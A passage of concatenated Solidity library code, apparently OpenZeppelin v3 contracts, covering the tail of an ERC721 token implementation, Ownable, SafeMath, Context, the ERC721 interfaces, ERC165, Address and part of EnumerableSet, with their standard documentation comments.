baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns 